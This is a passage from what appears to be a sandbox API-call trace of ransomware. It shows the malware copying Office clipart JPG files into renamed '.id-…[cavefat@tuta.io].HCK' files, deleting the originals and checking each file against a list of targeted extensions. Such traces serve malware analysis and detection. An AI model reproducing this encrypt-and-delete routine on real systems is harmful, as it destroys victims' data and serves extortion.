office\\root\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.621] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15743) returned 1 [0172.621] CloseHandle (hObject=0x38c) returned 1 [0172.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg")) returned 0x220 [0172.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.627] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.627] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.630] GetLastError () returned 0x0 [0172.630] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3d7f, lpOverlapped=0x0) returned 1 [0172.632] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3d80, lpOverlapped=0x0) returned 1 [0172.632] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.632] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.633] SetEndOfFile (hFile=0x3a8) returned 1 [0172.633] CloseHandle (hObject=0x3a8) returned 1 [0172.634] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.634] SetEndOfFile (hFile=0x2fc) returned 1 [0172.638] CloseHandle (hObject=0x2fc) returned 1 [0172.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg")) returned 1 [0172.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.642] lstrlenW (lpString=".doc") returned 4 [0172.642] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.642] lstrlenW (lpString=".docx") returned 5 [0172.642] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.642] lstrlenW (lpString=".pdf") returned 4 [0172.642] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.642] lstrlenW (lpString=".xls") returned 4 [0172.642] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.642] lstrlenW (lpString=".xlsx") returned 5 [0172.642] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.643] lstrlenW (lpString=".ppt") returned 4 [0172.643] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.643] lstrlenW (lpString=".zip") returned 4 [0172.643] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString=".rar") returned 4 [0172.643] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString=".bz2") returned 4 [0172.643] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.643] lstrlenW (lpString=".7z") returned 3 [0172.643] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.643] lstrlenW (lpString=".dbf") returned 4 [0172.643] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.643] lstrlenW (lpString=".1cd") returned 4 [0172.643] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.643] lstrlenW (lpString=".jpg") returned 4 [0172.643] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.643] lstrlenW (lpString=".doc") returned 4 [0172.643] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.643] lstrlenW (lpString=".docx") returned 5 [0172.643] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.643] lstrlenW (lpString=".pdf") returned 4 [0172.643] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString=".xls") returned 4 [0172.643] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString=".xlsx") returned 5 [0172.643] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.643] lstrlenW (lpString=".ppt") returned 4 [0172.643] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.643] lstrlenW (lpString=".zip") returned 4 [0172.643] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString=".rar") returned 4 [0172.643] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.643] lstrlenW (lpString=".bz2") returned 4 [0172.643] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.643] lstrlenW (lpString=".7z") returned 3 [0172.643] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.644] lstrlenW (lpString=".dbf") returned 4 [0172.644] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.644] lstrlenW (lpString=".1cd") returned 4 [0172.644] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG") returned 68 [0172.644] lstrlenW (lpString=".jpg") returned 4 [0172.644] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.644] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.644] lstrlenW (lpString="J0382925.JPG") returned 12 [0172.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.649] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=118362) returned 1 [0172.649] CloseHandle (hObject=0x3a0) returned 1 [0172.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg")) returned 0x220 [0172.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.658] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.658] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.662] GetLastError () returned 0x0 [0172.662] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1ce5a, lpOverlapped=0x0) returned 1 [0172.668] WriteFile (in: hFile=0x3a0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1ce60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1ce60, lpOverlapped=0x0) returned 1 [0172.669] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.669] WriteFile (in: hFile=0x3a0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.670] SetEndOfFile (hFile=0x3a0) returned 1 [0172.671] CloseHandle (hObject=0x3a0) returned 1 [0172.672] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.672] SetEndOfFile (hFile=0x2fc) returned 1 [0172.674] CloseHandle (hObject=0x2fc) returned 1 [0172.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg")) returned 1 [0172.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.689] lstrlenW (lpString=".doc") returned 4 [0172.689] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.690] lstrlenW (lpString=".docx") returned 5 [0172.690] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.690] lstrlenW (lpString=".pdf") returned 4 [0172.690] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString=".xls") returned 4 [0172.690] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString=".xlsx") returned 5 [0172.690] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.690] lstrlenW (lpString=".ppt") returned 4 [0172.690] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.690] lstrlenW (lpString=".zip") returned 4 [0172.690] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString=".rar") returned 4 [0172.690] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString=".bz2") returned 4 [0172.690] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.690] lstrlenW (lpString=".7z") returned 3 [0172.690] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.690] lstrlenW (lpString=".dbf") returned 4 [0172.690] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.690] lstrlenW (lpString=".1cd") returned 4 [0172.690] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.690] lstrlenW (lpString=".jpg") returned 4 [0172.690] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.690] lstrlenW (lpString=".doc") returned 4 [0172.690] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.690] lstrlenW (lpString=".docx") returned 5 [0172.690] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.690] lstrlenW (lpString=".pdf") returned 4 [0172.690] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString=".xls") returned 4 [0172.690] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString=".xlsx") returned 5 [0172.690] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.690] lstrlenW (lpString=".ppt") returned 4 [0172.690] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.690] lstrlenW (lpString=".zip") returned 4 [0172.691] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.691] lstrlenW (lpString=".rar") returned 4 [0172.691] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.691] lstrlenW (lpString=".bz2") returned 4 [0172.691] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.691] lstrlenW (lpString=".7z") returned 3 [0172.691] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.691] lstrlenW (lpString=".dbf") returned 4 [0172.691] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.691] lstrlenW (lpString=".1cd") returned 4 [0172.691] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG") returned 68 [0172.691] lstrlenW (lpString=".jpg") returned 4 [0172.691] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.691] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.691] lstrlenW (lpString="J0382938.JPG") returned 12 [0172.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0172.704] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=99539) returned 1 [0172.704] CloseHandle (hObject=0x3a0) returned 1 [0172.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg")) returned 0x220 [0172.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.709] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.709] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.711] GetLastError () returned 0x0 [0172.711] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x184d3, lpOverlapped=0x0) returned 1 [0172.741] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x184e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x184e0, lpOverlapped=0x0) returned 1 [0172.742] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.742] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.742] SetEndOfFile (hFile=0x2fc) returned 1 [0172.742] CloseHandle (hObject=0x2fc) returned 1 [0172.742] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.742] SetEndOfFile (hFile=0x368) returned 1 [0172.743] CloseHandle (hObject=0x368) returned 1 [0172.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382938.jpg")) returned 1 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.744] lstrlenW (lpString=".doc") returned 4 [0172.744] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.744] lstrlenW (lpString=".docx") returned 5 [0172.744] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.744] lstrlenW (lpString=".pdf") returned 4 [0172.744] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.744] lstrlenW (lpString=".xls") returned 4 [0172.744] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.744] lstrlenW (lpString=".xlsx") returned 5 [0172.744] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.744] lstrlenW (lpString=".ppt") returned 4 [0172.744] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.744] lstrlenW (lpString=".zip") returned 4 [0172.744] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.744] lstrlenW (lpString=".rar") returned 4 [0172.744] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.744] lstrlenW (lpString=".bz2") returned 4 [0172.744] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.744] lstrlenW (lpString=".7z") returned 3 [0172.744] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.744] lstrlenW (lpString=".dbf") returned 4 [0172.744] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.744] lstrlenW (lpString=".1cd") returned 4 [0172.744] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.744] lstrlenW (lpString=".jpg") returned 4 [0172.745] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.745] lstrlenW (lpString=".doc") returned 4 [0172.745] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.745] lstrlenW (lpString=".docx") returned 5 [0172.745] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.745] lstrlenW (lpString=".pdf") returned 4 [0172.745] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.745] lstrlenW (lpString=".xls") returned 4 [0172.745] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.745] lstrlenW (lpString=".xlsx") returned 5 [0172.745] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.745] lstrlenW (lpString=".ppt") returned 4 [0172.745] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.745] lstrlenW (lpString=".zip") returned 4 [0172.745] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.745] lstrlenW (lpString=".rar") returned 4 [0172.745] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.745] lstrlenW (lpString=".bz2") returned 4 [0172.745] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.745] lstrlenW (lpString=".7z") returned 3 [0172.745] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.745] lstrlenW (lpString=".dbf") returned 4 [0172.745] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.745] lstrlenW (lpString=".1cd") returned 4 [0172.745] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.JPG") returned 68 [0172.745] lstrlenW (lpString=".jpg") returned 4 [0172.745] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.745] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.745] lstrlenW (lpString="J0382948.JPG") returned 12 [0172.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.746] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=109879) returned 1 [0172.746] CloseHandle (hObject=0x368) returned 